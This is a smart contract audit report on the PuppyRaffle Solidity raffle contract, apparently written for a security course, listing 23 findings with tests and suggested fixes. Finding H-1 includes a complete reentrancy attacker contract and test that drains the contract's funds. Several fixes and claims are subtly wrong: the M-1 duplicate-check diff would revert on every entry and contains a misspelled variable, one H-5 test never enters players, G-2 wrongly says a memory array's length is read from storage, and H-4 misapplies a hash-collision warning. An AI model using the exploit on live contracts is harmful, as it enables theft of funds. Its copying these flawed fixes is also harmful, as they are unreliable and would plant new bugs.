PuppyRaffle Audit Report

Version 1.0

Lokapal

January 26, 2025

PuppyRaffle Audit Report

Lokapal

January 26, 2025

Prepared by:

- Lokapal

Lead Auditor:

- Ricardo Pintos

Table of Contents

    * [H-2] Weak Randomness in `PuppyRaffle::selectWinner` to select the winner of the raffle and the token rarity, which allows users to influence or predict both of those results
    * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
    * [H-4] `PuppyRaffle::tokenURI` uses `abi.encodePacked`, which can lead to hash collisions
    * [H-5] Calling `PuppyRaffle::refund` doesn't reduce the length of the `players` array, leaving the protocol unable to match the `prizePool` amount
  - Medium
    * [M-1] Loop through an unbounded array on the `PuppyRaffle::enterRaflle` function, which gives access to a DOS attack
    * [M-2] Unsafe casting from `uint256` to `uint64` in `PuppyRaffle::selectWinner`, potentially losing fees
    * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new raffle
    * [M-4] Strict balance check in `PuppyRaffle::withdrawFees`, potentially blocking withdraws
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for nonexistent players and for the player at index 0, causing that last player to incorrectly think they have not entered the raffle
    * [L-2] Mishandling of ETH due to the `require` in `PuppyRaffle::withdrawFees`, blocking withdrawals
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated Solidity version is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which can potentially lead to exploits
    * [I-5] Use of magic numbers is discouraged
    * [I-6] State variable changes but no event is emitted
    * [I-7] Event is missing `indexed` fields
    * [I-8] `public` functions not used internally could be marked `external`
    * [I-9] `entranceFee` immutable variable doesn't follow proper naming convention
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Costly operations inside loops

    * [G-3] `PuppyRaffle::_isActivePlayer` is not used in the protocol, therefore increasing unnecessarily the gas cost deployment

Protocol Summary

With this project you can enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The LOKAPAL team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
# PuppyRaffle.sol
```

Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player: Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This security review was made as part of the Cyfrin Updraft's `Smart Contract Security` course. We added 7 findings to the final list of the original project (H-4, H-5, M-4, L-2, I-7, I-8, I-9)

Issues found

Severity	Number of issues found
High	5
Medium	4
Low	2
Info	9
Gas	3
Total	23

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects and Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

~>  payable(msg.sender).sendValue(entranceFee);
~>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle,
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`,
3. Attacker enters the raffle,
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Example Test

```
function testReentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console.log("Starting attacker contract balance",
        startingAttackContractBalance);
    console.log("Starting contract balance", startingContractBalance);

    console.log("Final attacker contract balance", address(attackerContract).
        balance);
    console.log("Final contract balance", address(puppyRaffle).balance);
    assertEq(address(attackerContract).balance, startingContractBalance +
        entranceFee);
}
```

Example Contract

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor (PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0]= address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move up the event emission as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
        refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
         or is not active");

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` to select the winner of the raffle and the token rarity, which allows users to influence or predict both of those results

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable output. A predictable number is not a good random number.

In addition, users could front-run this function and call `refund` if they see they are not the winner.

Impact: Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle and the token rarity themselves. This can encourage a gas war, making the entire raffle worthless.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the token rarity.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as `Chainlink VRF`.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 'myVar' is currently: 18446744073709551615
myVar = myVar + 1;
// 'myVar' is currently: 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. Enter a raffle with the minimal amount of players needed to overflow the amount of fees (93 players),
2. Check if the `actualFees` available to withdraw are equal to the `expectedFees` minus the max value of `uint64`. **Note:** Because of the lost precision caused by the division to calculate the fees, we subtract 1 to the actual fees.

Example Test

```
function testOverflow() public {
    uint256 amountOfPlayersToOverflow = 93;

    address[] memory players = new address[](amountOfPlayersToOverflow);
    for (uint256 i = 0; i < amountOfPlayersToOverflow; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * amountOfPlayersToOverflow}(
        players);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    uint256 expectedFees = ((entranceFee * amountOfPlayersToOverflow) * 20 /
        100);
    uint256 actualFees = expectedFees - type(uint64).max;
    uint256 lostPrecision = 1;
    assertEq(actualFees - lostPrecision, uint256(puppyRaffle.totalFees()));
}
```

3. You will not be able to withdraw the fees, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
    currently players active!");
```

Recommended Mitigation: Consider these three changes: 1. Use a newer version of Solidity (preferably higher than 0.8.0) 2. Use `uint256` instead of `uint64` 3. Remove the balance check from `PuppyRaffle::withdrawFees`

[H-4] `PuppyRaffle::tokenURI` uses `abi.encodePacked`, which can lead to hash collisions

Description: The `PuppyRaffle::tokenURI` function uses `abi.encodePacked` to concatenate the URI elements.

Code

```
return string(
            abi.encodePacked(
                _baseURI(),
                Base64.encode(
                    bytes(
                        abi.encodePacked(
                            '{"name":"',
                            name(),
                            '", "description":"An adorable puppy!", ',
                            '"attributes": [{"trait_type": "rarity", "value": '
                                ,
                            rareName,
                            '}], "image":"',
                            imageURI,
                            '"}'
                        )
                    )
                )
            )
        );
```

Impact: There is a risk of hash collisions. `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`.

Proof of Concept:

With `abi.encodePacked`: 1. Using `abi.encodePacked(0x123,0x456)` results in `0x123456`. 2. However, using `abi.encodePacked(0x1,0x23456)` **also** results in `0x123456`.

With `abi.encode`: 1. Using `abi.encode(0x123,0x456)` results in 0x0…01230…0456 (padded to 32 bytes for each value). 2. Similarly, using `abi.encode(0x1, 0x23456)` results in 0x0…010…023456. You can see the difference between both outputs at the end of each result.

Recommended Mitigation: Unless there is a compelling reason, `abi.encode` should be preferred. This will pad items to 32 bytes, which will prevent hash collisions. **NOTE:** If there is only one argument to `abi.encodePacked()` it can often be cast to `bytes()` or `bytes32()` instead. If all arguments are strings and or bytes, `bytes.concat()` should be used instead.

[H-5] Calling `PuppyRaffle::refund` doesn't reduce the length of the `players` array, leaving the protocol unable to match the `prizePool` amount

Description: The `PuppyRaffle::refund` function resets the address at the refunded player's index in the `players` array but does not reduce the array's length. This creates a mismatch between the number of players implied by the array's length and the actual funds held by the protocol.

Impact: When `PuppyRaffle::selectWinner` is called, it calculates the `prizePool` under the assumption that the protocol's funds are equal to the entrance fee multiplied by the number of players (derived from the array's length). However, if a refund has occurred, the protocol holds fewer funds than expected, potentially leading to an insufficient balance to match the calculated `prizePool`.

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Proof of Concept: Run the following test with the `-vvvv` flag enabled to observe that the call reverts with an `OutOfFunds` error.

```
function testCantSelectWinnerAfterRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    vm.prank(playerOne);
    puppyRaffle.refund(0);
    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

Recommended Mitigation: Use `address(this).balance` instead of `totalAmountCollected` when calculating the `prizePool` and the `fee` in the `PuppyRaffle::selectWinner` function:

```
+    uint256 prizePool = (address(this).balance * 80) / 100;
+    uint256 fee = (address(this).balance * 20) / 100;
-    uint256 totalAmountCollected = players.length * entranceFee;
-    uint256 prizePool = (totalAmountCollected * 80) / 100;
-    uint256 fee = (totalAmountCollected * 20) / 100;
```

After these changes, you can run this test:

```
function testCanSelectWinnerAfterRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    vm.prank(playerOne);
    puppyRaffle.refund(0);

    uint256 expectedFees = (address(puppyRaffle).balance * 20) / 100;
    puppyRaffle.selectWinner();
    assertEq(puppyRaffle.totalFees(), expectedFees);
}
```

Medium

[M-1] Loop through an unbounded array on the `PuppyRaffle::enterRaflle` function, which gives access to a DOS attack

Description: The `PuppyRaffle::enterRaflle` function has a loop that iterates through the unbounded `players` array every time that checks for duplicates:

Loop

```solidity
// Check for duplicates
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

Impact: This leaves the protocol open to a Denial Of Services attack, because the gas cost increases as the player count goes higher, until the gas cost can be prohibitively expensive or even make the transaction revert. In addition, the gas cost for the players that enter the raffle first is much less expensive than the following players. This decreases the incentive for new players to enter as the numbers of players increases.

Proof of Concept: Here is a test that demonstrates the increased gas cost, logging in the console the gas cost for the first player and the 100th player. Copy the test and run `forge test --mt testDOS -vvv`

Test

```solidity
    function testDoS() public {
        uint256 gasStartFirst = gasleft();
        address[] memory players = new address[](1);
            address playerzero = address(0);
            players[0] = playerzero;
            puppyRaffle.enterRaffle{value: entranceFee}(players);
        uint256 gasEndFirst = gasleft();
        console.log("Gas cost for 1st player:" , gasStartFirst - gasEndFirst);
        for (uint256 i = 1; i < 100; i++) {
            players = new address[](1);
            players[0] = address(i);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
        }
        uint256 gasStartLast = gasleft();
        players = new address[](1);
            address playeronehundred = address(100);
            players[0] = playeronehundred;
            puppyRaffle.enterRaffle{value: entranceFee}(players);

        uint256 gasEndLast = gasleft();
        console.log("Gas cost for 100th player: ", gasStartLast - gasEndLast);
    }
```

Example:

```
Logs:
  Gas cost for 1st player: 41300
Gas cost for 100th player:  4046235
```

Recommended Mitigation: We have two recommendations: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow a direct search for the address as an index of the mapping.

Changes

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length,
         "PuppyRaffle: must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
+        // Check for duplicates only for the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addresToRaffleId[newPlayers[i]] != raffleId,
+            "PuppyRaffle: duplicate player");
+        }
-        for (uint256 i = 0; i < newPlayers.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j],
-                "PuppyRaffle: Duplicate Players");
-            }
-        }
         emit RaffleEnter(newPlayers);
     }
     .
     .
     .
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration,
         "PuppyRaffle: Raffle not over");
         .
         .
         .
```

```
    }
```

[M-2] Unsafe casting from `uint256` to `uint64` in `PuppyRaffle::selectWinner`, potentially losing fees

Description: In the `PuppyRaffle::selectWinner` function there is an unsafe cast of a `uint256` to a `uint64`.

```
totalFees = totalFees + uint64(fee);
```

Impact: If the `uint256` value is larger than `type(uint64).max`, the value will be truncated.

Proof of Concept:

Example Test

```
function testUnsafeCast() public {
    uint256 amountOfPlayersToOverflow = 93;

    address[] memory players = new address[](amountOfPlayersToOverflow);
    for (uint256 i = 0; i < amountOfPlayersToOverflow; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * amountOfPlayersToOverflow}(
        players);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    uint256 expectedFees = ((entranceFee * amountOfPlayersToOverflow) * 20 /
        100);
    uint256 actualFees = expectedFees - type(uint64).max;
    uint256 lostPrecision = 1;
    assertEq(actualFees - lostPrecision, uint256(puppyRaffle.totalFees()));
}
```

Recommended Mitigation: Consider replacing all instances of `uint64` for `uint256`, therefore removing the requirement of these type of casting.

```
+   uint256 public totalFees = 0;
-   uint64 public totalFees = 0;
    .
    .
    .
+   totalFees = totalFees + fee;
```

```
-    totalFees = totalFees + uint64(fee);
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new raffle

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winner would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function,
2. The lottery ends as intended,
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: Create a mapping of `addresses -> payout`, so winners can pull their funds out themselves. The protocol should warn the entrants of this prize requirement.

[M-4] Strict balance check in `PuppyRaffle::withdrawFees`, potentially blocking withdraws

Description: The balance check in the `PuppyRaffle::withdrawFees` function is intended to block the withdrawal of fees while there are active players, but it creates a strict requirement for the fees withdraw.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
    currently players active!");
```

Impact: You will not be able to withdraw the fees if the balance check fails. This can be caused, for example, by an overflow of the uint64 variable holding the `totalFees`.

Proof of Concept:

```
function testBalanceCheckFails() public {
    uint256 amountOfPlayersToOverflow = 93;

    address[] memory players = new address[](amountOfPlayersToOverflow);
    for (uint256 i = 0; i < amountOfPlayersToOverflow; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * amountOfPlayersToOverflow}(
        players);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    vm.expectRevert();
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: Consider these two changes:

1. Remove the balance check from `PuppyRaffle::withdrawFees`
2. Create a new check to prevent the withdrawal while there are active players.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for nonexistent players and for the player at index 0, causing that last player to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle:players` array at index 0, this will also return 0. But according to the natspec, the same will happen if the player is not in the array.

```
/// @return the index of the player in the array, if they are not active, it
    returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: The player at index 0 may incorrectly think they have not entered the raffle.

Proof of Concept:

1. User enters the raffle before anyone else,
2. `PuppyRaffle:getActivePlayerIndex` returns 0,

3. User thinks they have not entered the raffle correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition. A better solution might be to return an `int256` were the function returns -1 if the player is not active.

[L-2] Mishandling of ETH due to the `require` in `PuppyRaffle::withdrawFees`, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function requires the absence of active players to perform the withdrawal:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
    currently players active!");
```

Impact: Malicious players could enter a new raffle immediately after the previous raffle is over, blocking the protocol to withdraw the fees.

Proof of Concept:

1. Players enter a raffle,
2. The `selectWinner` function is called, therefore adding the fees for the protocol,
3. A user enters a new raffle before the protocol could withdraw the funds,
4. Repeat until no active players are present, which the protocol can't control.

Recommended Mitigation: There are a couple of options:

1. Allow for a window of time for the new raffle to begin, so the `withdrawFees` function can be called without collision.
2. Withdraw the fees amount specifically instead of the total balance of the contract.

Informational

[I-1] Solidity pragma should be specific, not wide

Description: Multiple Solidity versions in different contracts can cause conflicts in functionality, specially between major version difference, like `0.7.x` and `0.8.x`.

Recommended Mitigation: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated Solidity version is not recommended

Description: `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Description: Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 169

```
        feeAddress = newFeeAddress;
```

Recommended mitigation: Add the check for `address(0)`.

```
+   error PuppyRaffle__NotZeroAddress();

    .
    .
    .

+   if(_feeAddress == address(0)){
+       revert PuppyRaffle__NotZeroAddress();
+   }
    feeAddress = _feeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which can potentially lead to exploits

Description: It is best practice to follow the CEI pattern (Checks, Effects and Interactions), specially when dealing with external calls to avoid exploits.

```
    // THIS IS AN INTERACTION WITH AN EXTERNAL ACCOUNT/CONTRACT
    (bool success,) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");
    // THIS IS AN EFFECT ON THE PROTOCOL
    _safeMint(winner, tokenId);
```

Recommended Mitigation: Consider moving up the `_safeMint` function to follow the CEI pattern.

```
+   _safeMint(winner, tokenId);
    (bool success,) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");
-   _safeMint(winner, tokenId);
```

[I-5] Use of magic numbers is discouraged

Description: It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Recommended Mitigation: Consider assigning a name to each number used for more readable code.

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant PRECISION = 100;
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PRECISION;
```

[I-6] State variable changes but no event is emitted

Description: State variable changes in this function but no event is emitted.

```
function withdrawFees() external {
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
        are currently players active!");
    uint256 feesToWithdraw = totalFees;
    // This state variable change doesn't have an associated event
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

Recommended Mitigation: Add events every time a state variable is changed

```
+   event FeesReseted();
    .
    .
    .

function withdrawFees() external {
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
        are currently players active!");
    uint256 feesToWithdraw = totalFees;
    // This state variable change doesn't have an associated event
    totalFees = 0;
+   emit FeesReseted();
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[I-7] Event is missing `indexed` fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, every field should be indexed.

```
event RaffleEnter(address[] newPlayers);
event RaffleRefunded(address player);
event FeeAddressChanged(address newFeeAddress);
```

Recommended Mitigation: Add the `indexed` flag on the three events:

```
+   event RaffleEnter(address[] indexed newPlayers);
+   event RaffleRefunded(address indexed player);
+   event FeeAddressChanged(address indexed newFeeAddress);
-   event RaffleEnter(address[] newPlayers);
-   event RaffleRefunded(address player);
-   event FeeAddressChanged(address newFeeAddress);
```

[I-8] `public` functions not used internally could be marked `external`

Description: `PuppyRaffle::refund` and `PuppyRaffle::enterRaffle` are set as `public` even if they are not called internally:

```
function refund(uint256 playerIndex) public
...
function enterRaffle(address[] memory newPlayers) public payable
```

Recommended Mitigation: Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

```
+   function refund(uint256 playerIndex) external
...
+   function enterRaffle(address[] memory newPlayers) external payable
...
-   function refund(uint256 playerIndex) public
...
-   function enterRaffle(address[] memory newPlayers) public payable
```

[I-9] `entranceFee` immutable variable doesn't follow proper naming convention

Description: Immutable variables are usually named with the format `i_xxx`. The `entranceFee` immutable variable doesn't follow that format:

```
    uint256 public immutable entranceFee;
```

Recommended Mitigation: Change the variable name to the proper convention:

```
+   uint256 public immutable i_entranceFee;
-   uint256 public immutable entranceFee;
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

```
uint256 public raffleDuration;
string private commonImageUri = "ipfs...";
string private rareImageUri = "ipfs...";
string private legendaryImageUri = "ipfs...";
```

Recommended Mitigation: Consider changing the variables to the appropriate form:

```
uint256 public immutable raffleDuration;
string private constant commonImageUri = "ipfs...";
string private constant rareImageUri = "ipfs...";
string private constant legendaryImageUri = "ipfs...";
```

[G-2] Costly operations inside loops

Description: Every time you call `newPlayers.length` you read from storage. Invoking `SSTORE` operations in loops may lead to Out-of-gas errors.

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
        send enough to enter raffle");
    // THIS LOOP IS READING FROM STORAGE
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
    }
}
```

Recommended mitigation: Use a local variable to hold the loop computation result.

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
        send enough to enter raffle");
    // THIS LOOP IS READING FROM STORAGE
+   uint256 numPlayers = newPlayers.length;
+   for (uint256 i = 0; i < numPlayers; i++)
-   for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
    }
}
```

[G-3] `PuppyRaffle::_isActivePlayer` is not used in the protocol, therefore increasing unnecessarily the gas cost deployment

Description: The `PuppyRaffle::_isActivePlayer` is not used in the protocol. Unused internal variables usually don't create problems, but they increase the gas cost of the contract deployment. Therefore, there are discouraged.

Recommended Mitigation: First, check if the protocol doesn't need the functionality of the `PuppyRaffle::_isActivePlayer` function. Maybe the actual error is that the function is not being used like it was intended to. If not, consider removing the function.